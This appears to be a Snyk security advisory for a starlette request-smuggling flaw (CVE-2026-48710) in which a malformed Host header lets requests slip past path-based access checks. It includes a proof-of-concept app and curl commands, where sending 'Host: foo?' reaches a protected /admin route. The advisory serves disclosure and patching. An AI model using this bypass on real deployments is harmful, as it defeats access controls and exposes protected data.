HTTP Request Smuggling Affecting starlette package, versions [,1.0.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
1.84% (77th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-STARLETTE-16881242
  • published27 May 2026
  • disclosed27 May 2026
  • creditx41j, Larry Yuan, Nicolas Lamoureux

Introduced: 27 May 2026

CVE-2026-48710  (opens in a new tab)
CWE-444  (opens in a new tab)

How to fix?

Upgrade starlette to version 1.0.1 or higher.

Overview

starlette is a The little ASGI library that shines.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the request.url reconstruction process. An attacker can bypass path-based security checks by supplying a malformed Host header that causes request.url.path to differ from the actual requested path.

Note:

This is only exploitable if the application relies on request.url (or request.url.path) for security-sensitive decisions. The most common case is middleware that gates access to certain path prefixes based on request.url.path. Deployments fronted by a proxy or load balancer are mitigated only if that proxy rejects or normalizes the malformed Host header before forwarding and the application does not trust attacker-controlled host headers (e.g. X-Forwarded-Host) elsewhere.

PoC

pip install starlette
from starlette.applications import Starlette
from starlette.middleware import Middleware
from starlette.middleware.base import BaseHTTPMiddleware
from starlette.responses import PlainTextResponse
from starlette.routing import Route

class AuthMiddleware(BaseHTTPMiddleware):
    async def dispatch(self, request, call_next):
        if request.url.path == "" or request.url.path == "/":
            return await call_next(request)
        return PlainTextResponse("Forbidden\n", status_code=403)

async def root(request):
    return PlainTextResponse("Hello World\n")
async def admin(request):
    return PlainTextResponse("secret=123\n")

routes = [
    Route("/", endpoint=root),
    Route("/admin", endpoint=admin),
]

app = Starlette(routes=routes, middleware=[Middleware(AuthMiddleware)])

Then, start the app using any of the ASGI servers:

pip install {daphne,hypercorn,uvicorn,granian}
daphne poc:app
hypercorn poc:app
uvicorn poc:app
granian --interface asgi poc:app

Confirm that the Host header is not validated:

curl -i -H 'Host: foo' localhost:8000/admin # 403 Forbidden
curl -i -H 'Host: foo?' localhost:8000/admin # 200 OK

CVSS Base Scores

version 4.0
version 3.1